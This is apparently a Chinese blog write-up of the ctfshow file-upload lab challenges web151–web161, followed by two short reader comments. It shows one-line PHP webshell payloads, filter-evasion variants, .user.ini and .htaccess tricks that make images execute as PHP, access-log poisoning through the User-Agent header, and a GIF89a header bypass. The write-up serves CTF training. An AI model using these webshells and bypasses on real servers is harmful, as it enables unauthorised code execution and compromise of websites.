ctfshow-web入门-文件上传wp

文件上传

web151

查看题目告诉我们这是前端校验

image-20250418110101975

那我们修改一句话木马文件后缀为png,然后上传抓包,修改后缀为php

image-20250418110202925

再放行

image-20250418110236950

然后通过蚁剑连接webshell

image-20250418110325567

发现网站根目录下有flag.php,打开获得flag

image-20250418110351275

web152

提示我们这是后端检验,而且要严密

image-20250418110422340

还是一样我们先上传一个png木马,然后抓包。然后发送到repeater里以便我们反复测试

image-20250418110714938

发现修改后缀直接上传成功返回地址了,那后面跟上面一样获得flag

web153

image-20250418111358998

还是先上传png然后抓包发送到repeater

发现直接发送png是能上传成功的

image-20250418111644134

改为php试一下

image-20250418111716133

发现地址变成这个,这个肯定访问不了

修改后缀名为php3,发现成功上传

但是你会发现无论如何都解析不了,phtml也解析不了

image-20250418112419806

这是因为php的配置问题,出题人在配置php的时候并没有说明将phtml或者php3等后缀解析成php,所以会解析失败。

那我们可以尝试看能不能上传.htaccess或者.user.ini文件来覆盖它原本的配置,使得png能解析成php

这里我们先试试.htaccess

image-20250418112820050

发现上传成功,里面的内容意思是匹配到png就将他当作php来解析

然后我们再上传我们的png再尝试用蚁剑连接,发现还是连接不上

想到http.conf文件中设置了 AllowOverried All ,才能使用.htaccess文件。出题人应该是没有开启这个选项

那我们使用.user.ini

先回顾一下.user.ini的使用条件

利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。

尝试访问index.php

image-20250418113833751

发现能成功访问,说明符合利用前提

那我们上传一下.user.ini

image-20250418114058920

其中文件内容的含义是,无论访问哪个文件都包含一下muma.png

muma.png之前已经上传过了,我们直接用蚁剑连接index.php,然后翻阅目录获得flag

image-20250418114758162

web154

image-20250418121001406

我们还是先尝试上传png木马

image-20250418121215715

发现他对内容进行了检测,很有可能是过滤了<?php,那我们换一种方式写一句话木马

<script language="php">@eval($_POST["cmd"]);</script>

image-20250418121704831

发现这样还是上传失败,尝试一下大小写能不能绕过

image-20250418121739264

发现成功上传,那既然png木马成功上传了,可以看看能不能用.user.ini

image-20250418121836910

发现是有可解析的index.php的

那上传一个跟上面一关一样的.user.ini就好了

image-20250418122318890

尝试用蚁剑连接

image-20250418123035184

发现一直显示数据为空,将前面的payload改成

<?= @eval($_POST['cmd']);?>

image-20250418123146991

发现也能绕过,再尝试连接

image-20250418123228058

果然它直接将那个当作js代码了估计

然后翻阅目录找到flag

web155

image-20250418123447563

还是一样先上传png木马

发现使用上一关的payload能直接上传

<?= eval($_POST['cmd']);

那再试试有没有可执行的index文件

发现有的兄弟有的

image-20250418125313873

那可以再尝试上一关的解法了

image-20250418125444387成功上传,使用蚁剑连接,翻阅目录获得flag

image-20250418130603987

web156

image-20250418130752525

还是一样先上传一个png木马,然后抓包送到repeater。先正常发送一下

image-20250418160145862

可以发现正常发送也无法上传成功,这说明文件内容中还有东西被过滤了。通过测试发现是[]被过滤了

网上查阅资料发下可以通过下面的方式绕过

<?= @eval($_POST{'cmd'});?>

image-20250418160522749

然后尝试上传.user.ini

image-20250418160805596

发现上传成功,尝试用蚁剑连接,翻阅目录得到flag

image-20250418160839475

web157

还是跟上面的解题步骤一样

image-20250418161251149

但是发现这次{}也被过滤掉了,尝试直接执行system命令获得flag

image-20250418163231339

这里值得一提的是如果结尾不加?>,则语句结尾必须加分号,如果加?>则最后一条语句结尾可以不用分号

然后尝试上传.user.ini

image-20250418162841665

然后尝试直接访问index.php

image-20250418163418132

web158

经过测试,发现POST还是不给用。尝试直接写payload

image-20250418164119345

发现上传成功,再试试能不能上传.user.ini

image-20250418164245135

发现也能上传,那直接访问index.php试试

image-20250418164326342

在源代码中发现了flag。那这题跟上一题没区别啊

web159

还是跟上题一样先上传一个muma.png然后抓包送到repeater里

image-20250422201721853

通过测试可以发现这一次将()给过滤掉了,这样就不能通过system()来执行函数了。

php中还可以通过``中间包含要执行的代码来执行。

<?= `cat ../fl?g*` ?>//此题还过滤了;,直接闭合可以忽略;

image-20250422205148058

然后尝试上传.user.ini

image-20250422202418369

然后尝试访问index.php

image-20250422205215768

成功获得flag

web160

经过测试发现这一次将``,[],{},log,等等都给过滤掉了

这时候可以利用php的特性来读取文件

image-20250423104022610

简单来说使用了php的用.来拼接字符串的特性

比如上面的这个日志文件路径就拆分成了

"/var/lo".
"g/nginx/access.lo".
"g"
拼接以后就剩/var/log/nginx/access.log
这样就绕过了对log的过滤

然后上传.user.ini

image-20250423104251660

尝试访问index.php

image-20250423104318361

发现日志文件被包含了

然后尝试在User-Agent里写入一句话木马

image-20250423104359367

然后就可以尝试用蚁剑连接了

image-20250423104924642

翻阅目录得到flag

image-20250423104938579

web161

经过不断的测试,可以发现即使我们上传的内容为空也上传不成功。并且换成jpg,gif的格式也上传不了。这说明肯定对文件头进行检测了。依次尝试PNG,GIF89a

发现当文件头为GIF89a的时候可以上传成功,然后我们继续尝试上一关的包含日志文件

image-20250423121149621

然后尝试上传.user.ini

image-20250423121208686

然后尝试访问index.php

image-20250423121246182

发现成功读取日志文件,然后在UA头添加上我们的木马,并执行我们想要的命令

image-20250423121327435

成功获得flag

点赞
  1. 1说道:
    WebView Android 12
    我去大佬,🍐了
  2. 说道:
    WebView Android 12
    膜拜大神

回复 取消回复

电子邮件地址不会被公开。必填项已用 * 标注